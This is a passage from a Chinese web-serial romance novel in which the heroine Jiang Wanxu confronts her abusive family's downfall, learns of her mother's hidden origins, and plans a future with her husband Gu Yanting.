**嵩吓得两腿一软,直接尿了裤子。
“我是被逼的!都是叶寒!是他逼我的!”
“呵。”
顾彦廷一脚踩在叶寒的背上,眼中满是杀意。
“动我的女人?叶寒,我看你是活腻
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了。”
叶寒的脸贴在满是灰尘的地板上,艰难地抬起头,看向站在一旁的江晚絮。
她依旧那么美,那么干净,连衣角都没有乱。
叶寒和**嵩被戴上了**,押上了警车。
路过江晚絮身边时,**嵩还在挣扎。
“晚絮!晚絮你救救爸爸!我是你亲爸啊!你不能这么狠心,你会遭天打雷劈的!”
江晚絮面无表情地看着他。
“江先生。”
她语气平静,用上了陌生的称呼。
“在你把我刚出生的资料改成‘弃养’的时候,你就已经不是我父亲了。”
“这些年你做过些什么,江家又做过什么,我不想再提。”
“从今往后,我们两清了。”
说完,她转过身,不再看他一眼。
**嵩还要叫骂,却被警察直接塞进了车里,车门重重关上,隔绝了所有的喧嚣。
一切,似乎都结束了。
江晚絮站在老宅的院子里,看着那棵枯死的老槐树。
小时候,她经常躲在这棵树下哭。
那时候她总盼着,有一天能有人来救救她,带她离开这个冷冰冰的地方。
现在,她不仅自己走出来了,还亲手埋葬了这个噩梦。
“累吗?”
一件带着体温的大衣披在了她的肩上。
顾彦廷从身后抱住了她,下巴抵在她的发顶,声音温柔得不像那个杀伐果断的京圈太子爷。
江晚絮靠在他怀里,紧绷的神经终于松弛下来。
一股深深的疲惫感涌上心头。
不是身体的累,是心累。
和这群人纠缠了这么多年,恨也好,怨也罢,真的太耗费心神了。
“顾彦廷。”
“嗯?”
“没完没了的,好累啊。”
她闭上眼睛,轻声说道。
“以后不会了。”
顾彦廷收紧了手臂,“以后你的世界里,只有鲜花和掌声,还有我。”
“我想回家。”江晚絮转过身,把脸埋进他的胸口,“想喝外婆煮的粥。”
“好,我们回家。”
顾彦廷一把将她横抱起来,大步走向停在路边的车子。
夕阳西下,金色的余晖洒在两人身上,拉出长长的影子。
第190章 死不了就行
江晚絮坐在靠窗的位置,搅动着手里的拿铁。
这家咖啡馆在机场T3航站楼,人来人往,每个人都在奔赴不同的终点。
“久等了。”
一道略显沙哑的女声传来。
江晚絮抬起头。
站在面前的陆清璃,依旧穿着香奈儿的高定套装,手里拎着爱马仕的限量款铂金包,妆容精致。
只是,眼神里尽是疲惫。
陆清璃坐下,没有点单。
“没想到,你真的会来送我。”
江晚絮放下勺子,语气淡淡:“你都要走了,作为老对手,不来送送似乎不合礼数。”
陆清璃几次三番挑唆陷害,顾彦廷本来想送她进局子,但**晚絮拦下来了。
“江晚絮,你赢了。”
陆清璃从包里掏出一张机票,放在桌上。
去苏黎世的单程票。
“但我不是输给了你的技术。”陆清璃身子前倾,眼底透着最后的不甘,“我是输给了人心。”
江晚絮挑眉:“哦?”
“如果不顾彦廷护着你,如果不顾氏倾巢而出帮你,就凭你,怎么可能斗得过陆氏?”
陆清璃越说越激动,手指紧紧抓着桌沿,“我输就输在,我身边全是豺狼虎豹,全是想从我身上咬下一块肉的吸血鬼!而你身边……”
她顿了顿,眼神变得灰败,“你有个把命都给你的顾彦廷。”
江晚絮听着这番话,只觉得好笑。
她端起咖啡抿了一口。
“陆清璃,你觉得我很幸运?”
江晚絮放下杯子,眼神冷了下来。
“五年前,我在实验室里熬了三个通宵,写出了第一代核心代码。那时候我饿得胃出血,我想给自己叫一份粥,却发现卡里连二十块钱都没有。”
“因为我的工资卡,被叶寒拿去给江芊妤买那个你也抢不到的限量款包包了。”
陆清璃愣住了。
“我在手术台上被人抽骨髓的时候,疼得冷汗把床单都浸透了。那时候你在哪?你在国外参加名媛晚宴,你是众星捧月的陆家公主。”
“你出生就在罗马,你有家族兜底,你有无数次试错的机会。而我呢?我只要走错一步,就是万丈深渊。”
“你居然好意思跟我谈‘人心’?”
江晚絮身体微微前倾,盯着陆清璃的眼睛,“陆总,商场如战场。你买凶**我外婆的时候,怎么不想想人心?你让人偷我数据的时候,怎么不想想人心?”
“你输,是因为你蠢,是因为你坏,是因为你德不配位。”
“别把自己的无能,怪罪到没有人爱你身上。”
这一番话,说得陆清璃脸色惨白。
她张了张嘴,想要反驳,却发现自己所有的骄傲在江晚絮那些血淋淋的过去面前,显得如此苍白无力。
“呵……”
陆清璃低下头,发出一声自嘲的轻笑。
“是啊,我是陆家的女儿。”
她抬起头,眼眶微红,却倔强地没有落泪,“陆家的女儿,只能赢,不能输。这是我的命。”
广播里响起了登机提示音。
陆清璃站起身,理了理裙摆,重新戴上墨镜。
“江晚絮,后会无期。”
她拎着包,转身走向安检口。
那个背影,虽然挺直了脊背,却透着一股说不出的萧瑟和孤寂。
江晚絮看着她的背影消失在人海中。
“晚絮。”
苏洛敏不知道什么时候走了过来,看着陆清璃离开的方向,撇了撇嘴,“这种坏女人,你干嘛还要放过她?她差点害死你外婆!”
江晚絮收回目光,看着窗外起飞的飞机。
“洛敏,你看她,像不像一条丧家之犬?”
苏洛敏点了点头:“像!活该!”
江晚絮垂下眼帘,轻轻摩挲着手腕上那道已经淡去的伤疤。
那是当年在江家,**明宇推倒在碎玻璃上留下的。
“她其实也是个可怜人,活在家族的虚荣里,一辈子都没活明白。”
江晚絮站起身,拢了拢大衣,“但可怜之人必有可恨之处。她是可怜,但绝不可原谅。”
“走吧。”
“去哪?”
江晚絮嘴角勾起一抹冷艳的笑:“去医院。听说我那个‘好父亲’,遭报应了。”
市
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三院的重症监护室外。
江晚絮的高跟鞋踩在走廊上,发出清脆的“哒哒”声。
病房里,一个歪着嘴、半边身子动弹不得的老人正躺在床上,浑浊的口水顺着嘴角流下来,打湿了枕巾。
正是**嵩。
因参与**案,加上数额巨大的经济犯罪,他原本面临至少三年的刑期。
可就在审判席上,当法官敲下法槌的那一刻,这位曾经体面的江董事长,一口气没上来,直接脑溢血,中风了。
监狱是去不成了,只能保外就医。
可是江家的资产早就被查封,柳芸也跑了,害卷走的江严嵩藏起来的最后一笔钱。
现在的**嵩,就是一个身无分文的瘫痪老头。
“江小姐,您来了。”
护工是个五十多岁的大妈。
“老爷子刚才还哼哼唧唧的,估计是饿了。”
江晚絮站在床尾,冷眼看着床上的**嵩。
记忆里,**嵩总是穿着挺括的西装,坐在主位上,用那种厌恶至极的眼神看着她。
那时候的**嵩,大概做梦也想不到,有一天,他的生死,会捏在他最厌恶的女儿手里。
床上的人似乎感觉到了什么,费力地转动眼珠。
当看清江晚絮的那一刻,**嵩激动起来。
“荷……荷……”
他喉咙里发出风箱般的声音,右手颤抖着想要抬起来,似乎想抓江晚絮的衣角,又似乎是想打她。
眼神里,依然是刻骨的怨毒。
江晚絮后退了一步,避开了他的手,嫌弃地皱了皱眉。
“江先生,别激动,小心血压又高了。”
她从包里拿出一张卡,递给护工。
“这个月的费用。”
护工接过卡,犹豫了一下:“江小姐,医生说老爷子这个情况,如果用进口药和康复理疗,还是有机会恢复部分知觉的……”
“不必了。”
江晚絮打断了她的话,语气冷漠。
“维持生命体征就行。”
“只要饿不死,其他的,一概不管。”
护工愣了一下。
“是……是。”
第191章 疯子
**嵩听懂了江晚絮的意思,眼睛瞪得老大,嘴里发出愤怒的“呜呜”声。
即使说不了话,江晚絮依然能看出**嵩在骂她不孝,骂她狠毒!
江晚絮走到床边,俯下身,在他耳边轻声说道:
“爸,您别这么看着我。”
“您还记得吗?我十四岁那年发高烧,烧到40度,求您带我去看医生。”
“您当时在陪江芊妤过生日,您说我是装病,说我晦气,把我关在地下室里烧了整整两天。”
“那时候您也没给我用‘进口药’啊,甚至连一杯水都没给我。”
江晚絮直起身子,看着**嵩那瞬间变得惊恐的眼神,笑了。
“我现在给您请护工,给您交医药费,已经是仁至义尽了。”
“您就在这床上好好躺着,长命百岁地躺着,慢慢赎您的罪。”
说完这些,她转身就走。
身后传来仪器刺耳的报警声和护工手忙脚乱的呼喊声,但江晚絮连头都没回。
出了医院,阳光有些刺眼。
江晚絮深吸了一口气。
手机响了,是一条推送新闻。
【昔日金融才俊沦为阶下囚!**二公子因数罪并罚获刑二十年!】
配图是江明宇剃着寸头,穿着囚服的照片。
他的眼神有些呆滞,缩着脖子,很颓废的样子。
听说他在里面过得很惨。
因为脾气暴躁得罪了牢头,没少挨揍。
至于那个一直自诩“高知精英”、“宠妹狂魔”的大哥江明泽……
江晚絮划了一下屏幕。
就在昨天,有人爆料他在一家科技公司任职期间挪用**包养情妇,被行业协会永久除名。
现在正在一家快倒闭的小工厂做会计,据说天天被讨债的人堵门,吓得连门都不敢出。
“真是……大快人心啊。”
江晚絮收起手机,看着街道上的车水马龙。
她好像终于得到了解脱。
一种迟到了二十多年的解脱。
“滴——”
一辆黑色的迈巴赫停在了她面前。
车窗降下,露出顾彦廷那张俊美的脸。
“处理完了?”
江晚絮拉开车门坐进去,系好安全带,侧头看他。
“顾彦廷,我刚刚对一个瘫痪的老人见死不救,我是不是很坏?”
顾彦廷发动车子,单手打着方向盘,另一只手伸过来,握住了她冰凉的手。
“不坏。”
他目视前方,语气理所当然。
“如果是以前的我,我会拔了他的氧气管。”
江晚絮噗嗤一声笑了。
笑着笑着,眼眶却湿了。
她反握住他的手,十指相扣。
“顾彦廷,带我去个地方吧。”
“去哪?”
“女子监狱。”
顾彦廷眉头微皱,但还是打了转向灯。
“去看江芊妤?”
“嗯。”江晚絮靠在椅背上,看着窗外飞逝的风景,“还有最后一点东西,要送给她。”
女子监狱的探视室,隔着厚厚的防爆玻璃。
江芊妤穿着灰色的囚服,头发剪得很短,脸色苍白得像一张纸。
她被关在特殊的精神病监区。
据说她刚进去的时候,天天尖叫,说自己是豪门少奶奶,说江晚絮是小偷。
直到后来,顾彦廷让人“关照”了一下,给她换了个单间,周围全是真正的重度精神病患。
在那种日夜不断的尖叫和嘶吼声中,江芊妤终于安静了。
安静得像个**。
此刻,她坐在玻璃对面,眼神空洞地看着前方,仿佛根本没看见江晚絮。
江晚絮把一个袋子递给了狱警。
狱警检查过后,送到了江芊妤面前。
是一套画具。
很便宜的那种水彩笔和画纸。
江芊妤的眼珠子动了动。
她颤抖着手,拿起了那盒画笔。
小时候,江芊妤最喜欢画画。
那时候,江晚絮只能在旁边看着,捡她扔掉的半截蜡笔,在废报纸上偷偷画。
后来被发现了,江芊妤就哭着说江晚絮偷她的笔。
结果是江晚絮被柳芸打
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了一顿,手背被打得肿了半个月,连笔都握不住。
从那以后,江晚絮再也没画过画。
“听说你在里面除了发呆,就是用指甲在墙上乱画。”
江晚絮拿起话筒,声音平静。
“这套笔送给你。以前你总是抢我的东西,哪怕你不喜欢,也要抢走砸烂。”
“现在,没人跟你抢了。”
“你可以画个够。”
江芊妤像是被触动了某种开关。
她抬起头看着江晚絮。
那眼神里有恨,有嫉妒,更有深深的恐惧。
她张开嘴,无声地呐喊着什么。
看口型,似乎是——“救我”。
江晚絮放下了话筒。
“救你?”
她隔着玻璃,对着江芊妤无声地说了三个字:
“做梦吧。”
江芊妤突然发狂了,她抓起画笔,疯狂地在纸上涂抹。
两个女警冲上来,按住了她,给她打了一针镇静剂。
江晚絮冷漠地看着她被拖进去,转身离开。
“为什么要给她送笔?”
顾彦廷靠在车边,手里夹着一支烟,没有点燃。
江晚絮走到他面前,抽走他手里的烟,扔进旁边的垃圾桶。
“我想让她活着。”
她看着顾彦廷的眼睛,认真地说,“只有活着,清醒地看着自己在泥潭里挣扎,看着我过得越来越好,才是对她最大的惩罚。”
顾彦廷闻言,低笑了一声。
他伸手揽住她的腰,将她带进怀里。
“果然是最毒妇人心。”
“怕了?”
“不。”
顾彦廷低下头,鼻尖蹭着她的鼻尖,“我喜欢得要命。”
“走吧,回家。”
“回顾家老宅?”江晚絮有些犹豫。
顾建业对她,并不友好。
而且秦兰还曾被陆清璃三番五次地挑拨,这让她觉得自己即便和顾彦廷结婚半年,也依然不是真正的顾家人。
“嗯。”顾彦廷打开车门,护着她坐进去,“老头子身体好了,今天搞了个家庭会议。”
第192章 身世
顾家老宅,亭台楼阁,曲径通幽,处处透着百年的底蕴和威严。
江晚絮挽着顾彦廷的手,走进了正厅。
顾建业坐在太师椅上,气色红润,虽然还需要拄着拐杖,但威严犹在。
顾家奶奶满头银发,坐在一旁,手里转着佛珠。
而秦兰……
听说是顾家奶奶知道她被陆清璃轻易挑拨后,特别生气,直接让她回西北娘家去反省了。
“爸,奶奶。”
顾彦廷带着江晚絮走上前。
江晚絮赶紧跟着喊,“爸,奶奶。”
顾建业板着脸,但眼底却带着笑意。
他招了招手,“过来。”
江晚絮走上前。
顾建业从身后的**架上,拿出一个紫檀木的盒子。
打开,里面躺着一只通体碧绿、水头极好的翡翠手镯。
“这是顾家传给儿媳妇的。按理说,我早就该给你了……自从你二叔……哎”
顾建业叹了口气,笑着说,“从前是我太糊涂了,我这条命都是你救的,更何况你是彦廷的妻子。”
想起过往,顾建业的鼻子有些发酸。
“爸,”顾彦廷忍不住提醒,“开心点。”
顾建业回过神,不再去想,拿起了手镯,示意江晚絮伸手。
江晚絮下意识地看向顾彦廷。
顾彦廷点了点头。
她伸出手腕,那只冰凉的玉镯滑进了她的手腕,大小竟是刚刚好。
“这镯子有点沉。”
顾建业难得的有些不好意思,“以前顾家有些做得不对的地方,让你受委屈了。以后,顾家给你撑腰。”
“谢谢爸。”
江晚絮眼眶微热。
顾奶奶也笑眯眯地拉过她的手,枯瘦的手指轻轻拍着她的手背。
“好孩子,是个有福气的。我早就说彦廷眼光不会差。”
老太太说着还瞪了顾建业一眼。
这天的顾家老宅,和乐融融。
而江晚絮,也开始了心无旁骛地搞实业。
一个月后,立夏这天,晚星科技正式上市。
江晚絮站在庆功宴的露台上,手里晃着一杯价值不菲的香槟。
身上这件星空蓝的高定礼服,是顾彦廷特意请法国那位脾气古怪的大师赶制的,裙摆上镶嵌的三千颗碎钻,每一颗都在嘲笑着曾经那个穿着发白校服、**芊妤带头孤立的江晚絮。
“在想什么?”
顾彦廷从身后拥住她,下巴抵在她的颈窝处,温热的呼吸喷洒在她的耳畔。
“在想……”江晚絮看着楼下如同蝼蚁般的车流,“六年前的今天,我在干什么。”
顾彦廷的手臂收紧了几分。
江晚絮轻笑了一声。
“六年前的今天,是江芊妤的生日宴。江家包下了整个半岛酒店。而我,因为不小心碰碎了江芊妤的一个水晶摆件,被柳芸关在杂物间里反省。”
“那晚下了很大的雨,杂物间漏水,我发着高烧,缩在湿透的纸箱子上。我听着外面切蛋糕的欢呼声,闻着那飘进来的奶油香气,肚子饿得绞痛。”
“我想出去讨口水喝,结果刚开门,就被喝醉的江明宇一脚踹了回去。他说,‘丧门星,别出来碍眼,滚回去!’”
江晚絮抿了一口香槟,这才继续说。
“那时候我就发誓,总有一天,我要站在比他们所有人都高的地方,看着他们烂在泥里。”
顾彦廷心疼地吻了吻她的侧脸,声音低沉,“你做到了。以后,没人敢再让你饿肚子。”
“顾总,夫人。”
特助林舟走了过来,神色有些凝重。
“怎么了?”
“刚才有人送来这封信,指名要给夫人。”林舟递过一个黑色的信封,“安检扫过了,没有危险品,但是送信的人……查不到。”
江晚絮接过信封。
信封上没有邮票,只有用烫金蜡封的一个复杂的族徽图案,看起来像是一只被荆棘缠绕的鹰。
她撕开封口,里面只有两张泛黄的照片和一张信纸。
“江小姐,恭喜。但你的**,远
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不止江家女儿。你母亲根本就是方家收养的。”
“她其实来自海外某隐世科研家族,你亲外婆当年带着2岁的她回国,就是为躲避家族追杀。”
“家族已注意到你。小心。”
“——M”
江晚絮的手抖了一下。
“怎么了?”顾彦廷察觉到她的异样,立刻拿过了那张信纸。
看完内容,顾彦廷的眉头紧紧锁了起来。
其中一张照片的背景,是一座阴森古老的欧洲古堡,爬山虎几乎吞噬了半个墙面。
一个年轻美丽的女人正推着轮椅,轮椅上坐着一个目光阴鸷的外籍老人。
那个女人,与她的母亲方颖竟然有八分像。
而另一张照片……则是年轻时的方颖站在古堡前,同那个外籍老人的合影。
那个老人……他的眼神,看上去很危险。
“遗传问题……”江晚絮喃喃自语。
她想起小时候,每隔一段时间,她就会莫名其妙地流鼻血,浑身骨头疼得像是有蚂蚁在啃噬。
每次发作,**嵩都会一脸嫌恶地骂她是“讨债鬼”、“娇气包”,说她是为了逃避干活装病。
甚至有一次,柳芸为了省那几百块的检查费,硬是把疼得满地打滚的她锁在房间里,对外宣称她得了传染病。
顾彦廷没有废话,直接下令,“查。”
“是。”
林舟领命而去。
顾彦廷转过身,双手捧起江晚絮苍白的脸。
“别怕。”
他盯着她的眼睛,一字一顿地说道,“不管是什么隐世家族,还是什么牛鬼蛇神。只要我在,谁也别想动你一根头发。”
江晚絮深吸了一口气,将那张照片死死攥在手心。
“我不怕。”
她的眼神重新变得坚定。
“你陪我去一个地方吧。”
顾彦廷猜到了她的想法。
“去找外婆吗?”
“嗯。”
江晚絮抬头,看向夜幕。
“我想知道妈妈的过去。”
第193章 人之将死,其言也善?
去往外婆家的路上,气氛有些微妙的凝重。
江晚絮手里捏着那张泛黄的照片,指腹一遍遍摩挲着照片里那个女人的轮廓。
那是她的亲生母亲。
也是江家那个连灵位都不配进祠堂,活着时**华嵩骂“木讷无趣”,死后连骨灰都被随便洒在海里的女人。
“在想什么?”
顾彦廷单手扶着方向盘,另一只手极其自然地伸过来,把她有些冰凉的手包裹在掌心里。
他的掌心很热,带着令人安心的燥意。
“我在想,如果这信上说的是真的……”江晚絮侧头看他,眼神有些飘忽,“那我算不算拿了什么大女主爽文的剧本?前期被虐得死去活来,后期突然告诉我,其实我是流落民间的公主?”
顾彦廷挑眉,“公主?我看是女王还差不多。”
他顿了顿,语气里带着几分的调侃,“要是你真是什么隐世家族的继承人,那我岂不是成了小白脸,还得靠顾太太罩着?”
江晚絮被他逗笑,心头那点阴霾散去不少:“行啊,以后顾总不想努力了,我就包养你。一个月五千,包吃包住。”
“五千?”顾彦廷啧了一声,“顾太太,我这身价,怎么也得……五千五吧?”
车厢里的空气终于流动起来。
到了外婆家,江晚絮敲了敲门,很快就听到了外婆的声音。
“絮絮,彦廷,你们来啦!”
外婆开门看到两人,立刻喜笑颜开。
简单的寒暄过后,江晚絮没有绕弯子。
她拿出那张照片和信纸,放在了桌子上。
“外婆,这是不是真的?”
外婆在那张照片映入眼帘的瞬间,择菜的手猛地一抖。
良久,老人长叹了一口气,摘下老花镜,用衣角擦了擦眼角。
“我就知道……早晚会有这么一天。”
外婆的声音有些颤抖,像是打开了一扇尘封已久的沉重大门。
“那是快五十年前的事了。”
外婆陷入了回忆,眼神看向虚空中的某一点。
“那天晚上的雨,下得很大。”
“我和你外……和他刚吃完饭,正准备关门睡觉,突然听见有人在外面疯狂砸门。”
“打开门一看,一个浑身湿透的女人,怀里紧紧抱着一个两岁大的小女孩。那个小女孩就是你妈妈。”
江晚絮听到这里,咬了咬下唇。
顾彦廷握着她的手紧了紧,无声地给予力量。
外婆继续说道:“那个女人……长得真好看啊,哪怕浑身是泥水,头发乱糟糟的,也能看出来是个大户人家的小姐。但是她的眼神,好像很害怕。”
“她一进门就给我们跪下了。”
“她哭着求我们收下这个孩子,只要给她一口饭吃,让她活着就行。”
“我和他那时候结婚十年了,一直怀不上孩子,本来就想要个闺女。看着那粉雕玉琢的小娃娃,心都化了。”
“我们还没来得及问清楚,那女人就从怀里掏出一个布包塞给我们。”
“里面是两根大黄鱼,还有一叠我们见都没见过的外币。”
“她让我们把她当亲生的养。别让她知道身世,平平安安过一辈子就好。”
“说完,她磕了三个响头,转身就冲进了雨里。”
“那么大的雨啊,瞬间就把她的背影吞没了。就像……就像从来没出现过一样。”
外婆说着说着,眼泪就流了下来。
“那一晚,我就听着外面警笛声响了一宿,吓得我抱着你妈一宿没敢睡。”
江晚絮听着这一切,脸上的表情很平静。
就像是在听别人的故事。
“所以,”江晚絮缓缓开口,声音有些干涩,“我妈是因为这个,才从小性格那么内向,那么怕事吗?”
小时候她就无数次听别人说起过,方颖在江家活得像个隐形人。
“絮絮啊,”外婆拉过她的手,“不是外婆故意瞒你。是你那个亲外婆走的时候千叮咛万嘱咐,说你妈妈的身份一旦被人发现,就是灭顶之灾。”
“我们只是普通老百姓,只想平平安安的。”
谁能想到,躲过了海外的追杀,却没躲过江家。
江晚絮深吸了一口气,嘴角勾起一抹自嘲的笑。
“平安?呵。”
“如果我不姓江,如果我妈当年稍微强势一点,我也许不会断腿,不会被抽血,不会像条狗一样被关在地下室喝雨水。”
“现在告诉我,我其实出身高贵?”
“这简直是今年听过最好笑的笑话。”
顾彦廷看着她眼底破碎的光,心疼不已。
他一把将她揽入怀中,下巴抵在她的头顶,声音低沉而霸道:
“不是笑话。”
“既然知道了源头,那就好办了。”
“絮絮,以前你受的苦,是因为没人给你撑腰。”
“现在,那
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个什么隐世家族如果敢来找麻烦,我就让他们知道,京圈顾阎王的名号,不是白叫的。”
他又换上一副吊儿郎当的语气,凑到她耳边,“再说了,顾太太,既然你是流落民间的贵族,那我现在是不是属于高攀了?”
江晚絮原本沉重的心情,被他这死皮赖脸的一打岔,顿时消散了大半。
她推了他一把,却没推动,反而被抱得更紧。
“行了,别贫了。”
江晚絮看向外婆,眼神重新变得温柔:“外婆,谢谢您告诉我这些。您放心,有彦廷在,没人能伤害我们。”
从外婆家出来,天色已经暗了下来。
另一边,市三院的重症监护室。
**嵩半边身子瘫痪,嘴歪眼斜,口水顺着嘴角不停地往下流。
病房里很安静,只有监护仪发出单调的“滴——滴——”声。
此刻,江明哲正坐在病床边,手里拿着一个苹果,一圈一圈地削着皮。
“呃……呃呃……”
**嵩喉咙里发出浑浊的嘶吼声,那只还能动的手,颤颤巍巍地抓住了江明哲的衣袖。
他的眼神急切,像是在乞求什么。
江明哲停下手中的动作,看着眼前这个老人。
理性告诉他,这个人罪有应得。
是他纵容柳芸**前妻的女儿,是他视江晚絮为扫把星,也是他,亲手把江家推向了深渊。
但是……
江明哲的脑海里,却不合时宜地浮现出小时候的画面。
那时候**嵩还没那么丧心病狂。
周末的午后,**嵩会把他架在脖子上骑大马,会手把手教他搭积木,会在他学会骑自行车时,在后面气喘吁吁地跟着跑。
“爸。”
江明哲的声音有些沙哑。
“医生说……你就在这一两天了。”
听到这话,**嵩的瞳孔猛地放大,浑身剧烈地颤抖起来。
眼泪顺着那张变形的脸流了下来,混进了口水里。
“晚……晚……”
他拼命地挤出含糊不清的音节。
江明哲听懂了。
他在叫晚絮。
人之将死,其言也善?
还是因为其他的孩子都指望不上了,才想起那个被他弃如敝履的大女儿?
江明哲心里五味杂陈。
他拿出手机,指尖在屏幕上悬停了很久。
最后,还是拨通了那个已经很久没有联系过的号码。
第194章 凭什么?
“喂?”
江晚絮清冷的声音从电话里传来,背景音里还有顾彦廷低声的询问“谁的电话”。
江明哲喉咙紧了紧,深吸一口气:“晚絮,是我,三哥。”
电话那头沉默了两秒。
“江先生,有事吗?”
“晚絮……”
江明哲看了一眼病床上满眼希冀的**嵩,艰难地开口,“医生说他就剩几个月的时间了。他……想见你最后一面。”
“你看在……毕竟他是你亲生父亲的份上,能不能……”
“不能。”
干脆利落,没有一丝犹豫。
江晚絮甚至没有给他把话说完的机会。
江明哲愣住了,急切道,“晚絮,我知道你恨他,我也知道江家对不起你。但他都要**,人死如灯灭,你就不能来见他最后一面吗?哪怕是……哪怕是来看看他的报应也好啊!”
电话那头传来一声轻笑。
“江明哲,你是不是觉得,只要人快**,以前做过的孽就可以一笔勾销?”
“你记不记得,我那年发烧到四十度,他是怎么说的?”
江晚絮的声音很平静,平静得让人心惊肉跳。
“他说,‘晦气东西,别把病气过给芊妤,要死死远点’。”
“那天晚上,我在大雨里走了五公里去诊所。如果不是那个好心的诊所大夫给我免了药费,你觉得,我现在还有命听你在这里跟我谈什么父女情分吗?”
江明哲的手机差点没拿稳。
这些事……他有些知道,有些不知道。
或者是,以前的他,选择了视而不见。
“三哥,”江晚絮最后一次叫了这个称呼,带着决绝的告别意味,“当你看着江明宇把我踹下楼梯而无动于衷的时候,当你为了江芊妤的一滴眼泪就指责我不懂事的时候,我们就已经没有情分了。”
“至于**嵩……”
“告诉他,我不去送终,就是对他最大的仁慈。”
“别再打来了,顾彦廷脾气不好,我不希望他生气。”
“嘟——嘟——嘟——”
电话被挂断了。
江明哲握着手机,呆呆地站在原地。
手机屏幕早已黑了,倒映出他颓废而苍白的脸。
“呃……呃!”
病床上的**嵩发出了急促的吼声,紧紧盯着江明哲,眼里的光亮一点点暗淡下去,取而代之的是无尽的绝望和悔恨。
他听到了。
因为病房**静,因为江明哲开了免提。
那句“要死死远点”,像是回旋镖,在十年后,扎进了他的心脏。
江明哲缓缓走到床边,看着**嵩。
“爸……她不来。”
江明哲的声音充满了无力感。
**嵩的胸口剧烈起伏着,大滴一大滴浑浊的眼泪,从他的眼眶里涌出来,瞬间打湿了枕头。
悔啊!
怎么能不悔!
那个曾经哪怕被他打骂,也会在他生日时偷偷画贺卡的女儿;
那个在**集团濒临破产时,拿着核心技术想要力挽狂澜的女儿。
是他亲手,把这颗珍珠当成了鱼目,狠狠地踩碎在了泥里。
甚至为了一个私生女,为了一个心如蛇蝎的柳芸,把亲生女儿逼上了绝路。
如今,报应来了。
众叛亲离,孤独等死。
这就是他的下场。
**嵩颤抖着手,指了指床头柜最下面的抽屉。
那是他在被捕前,特意让律师送过来的东西。
“拿……拿……”
江明哲擦了把眼泪,打开抽屉。
里面躺着一个古朴的紫檀木盒子,做工精致,上面雕刻着繁复的海棠花纹。
这盒子看起来有些年头了。
“这是给晚絮的?”江明哲问。
**嵩拼尽全力地点了点头,眼神里流露出一种近乎哀求的神色。
“给……给她……”
“对……不……起……”
这是**嵩这辈子,说得最艰难,也最最真心的三个字。
可惜,那个听的人,已经不在了。
江明哲颤抖着手打开盒子。
里面只有一只小小的、有些生锈的长命锁,和一个早已干瘪褪色的拨浪鼓。
还有一张泛黄的信纸。
那是方颖当年留下的。
“这是……妈妈的遗物?”
江明哲震惊了。
这么多年,柳芸把家里关于方颖的东西全都烧了,没想到
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父亲竟然还藏着这些。
那时候的**嵩,也曾抚着方颖的肚子,幻想着这个孩子长大后的模样,然后笑得合不拢嘴,发誓要让她做全世界最幸福的小公主。
是什么时候变了呢?
是从柳芸进门开始?还是从江芊妤那一声娇滴滴的“爸爸”开始?
“我知道了。”
江明哲盖上盒子,紧紧地抱在怀里,“我会给她的。我会告诉她,这是你唯一干净的东西。”
窗外,不知何时下起了雨。
淅淅沥沥,像极了当年方颖抱着孩子敲开方家大门的那个雨夜。
江晚絮挂断电话后,整个人像是被抽走了灵魂,静静地靠在沙发上。
客厅里的电视还开着,播放着不知名的综艺节目,里面传出夸张的笑声,却显得格外刺耳。
她没有哭。
“**?”
顾彦廷端着一杯热牛奶走过来,语气平淡。
他在她身边坐下,长臂一伸,将她整个人圈进怀里。
江晚絮顺势靠在了他身上。
“还没有。”
江晚絮接过牛奶,双手捧着杯壁取暖,“刚才江明哲的语气,像是要给我报丧。”
“那你怎么想?”顾彦廷低头看她,修长的手指轻轻梳理着她的长发,“要是想哭就哭,我这身西装挺贵的,勉强借你当抹布。”
江晚絮被他这话逗得嘴角扯了扯:“顾总,你也太抠门了。身价千亿,还在乎一套西装?”
“那不一样,这是顾太太今天早上亲自给我挑的,弄脏了我心疼。”
顾彦廷一本正经地胡说八道。
江晚絮喝了一口牛奶,温热的液体顺着食道滑进胃里,暖洋洋的。
“我不难过,真的。”
她看着电视屏幕,眼神有些放空,“我只是觉得……挺讽刺的。”
“以前我拼了命想得到他的认可,哪怕是一句夸奖,我都恨不得把心掏出来给他看。”
“现在我不稀罕了,甚至恨不得跟他们撇清关系,他却在临死前想见我,真是可笑。”
“凭什么?”
江晚絮的声音冷了下来,“凭什么他想**我就**我,想忏悔我就得接着?我是垃圾回收站吗?”
第195章 血浓于水
“他凭什么?”
江晚絮面无表情地说完这句话,嘴唇轻轻颤了颤。
“说得对。”
顾彦廷低头,在她光洁的额头上落下重重一吻,“咱们家晚晚是无价之宝,那种垃圾,多看一眼都嫌脏。”
“以后,你的家人只有我,还有奶奶,还有我们的……”
他说到一半,突然停住了。
顾彦廷之前当众宣布放弃子嗣,就是为了不让那些私生子传闻恶心到江晚絮,也是为了表明只娶她的决心。
但其实,他心里是想要一个属于他们的孩子的。
江晚絮听懂了他的未尽之语。
她抬起头看着他。
“顾彦廷。”
“嗯?”
“等这一切都结束了,等搞清楚那个什么隐世家族的事……”
江晚絮顿了顿,脸上飞起两朵红云,“我们要个孩子吧。”
顾彦廷愣了愣。
向来泰山崩于前而色不变的他,此刻竟然像个愣头青一样,傻傻地看着江晚絮。
“你说真的?”
他的声音有些发紧,喉结上下滚动了一下。
“怎么?顾总不愿意?”江晚絮故意板起脸。
“愿意!我愿意!”
顾彦廷猛地扣住她的后脑勺,狠狠地吻了下去。
窗外的雨越下越大,但别墅里却很温暖。
那些旧日的阴霾,终究会被这炽热的爱意驱散。
窗外的雨还在淅淅沥沥地下着,砸在玻璃窗上,留下一道道蜿蜒的水痕。
江明哲坐在那张并不舒适的陪护椅上,膝盖上放着那个紫檀木盒子。
他的手有些抖。
江明哲深吸一口气,缓缓打开了盒子。
里面是一叠被岁月侵蚀的泛黄的信纸,一张边缘卷曲的B超照片,还有一枚锈迹斑斑的铜钥匙。
他拿起最上面的那封信。
“吾爱阿颖:今日见你穿那件白裙子站在海棠树下,我便知此生非你不娶。若能得你垂青,江某愿一生一世一双人,绝不负你。”
江明哲的心猛地一颤。
他从未见过父亲如此细腻的一面。
在他印象里,**嵩永远是严肃的、冷漠的,甚至是暴躁的。
他又拿起第二封。
“颖,你怀孕辛苦了。我发誓,不管是儿是女,我都会把全世界最好的东西捧到他面前。我想给咱们的孩子建一个游乐场,就在后院,让他做最快乐的小天使。”
江明哲的眼眶红了。
他颤抖着手,拿起了那张B超照片。
那是一张黑白的、模糊不清的影像,甚至看不出人形。
但在照片的背面,有一行娟秀的小楷:
“我的宝贝女儿,妈妈爱你。——199X年冬”
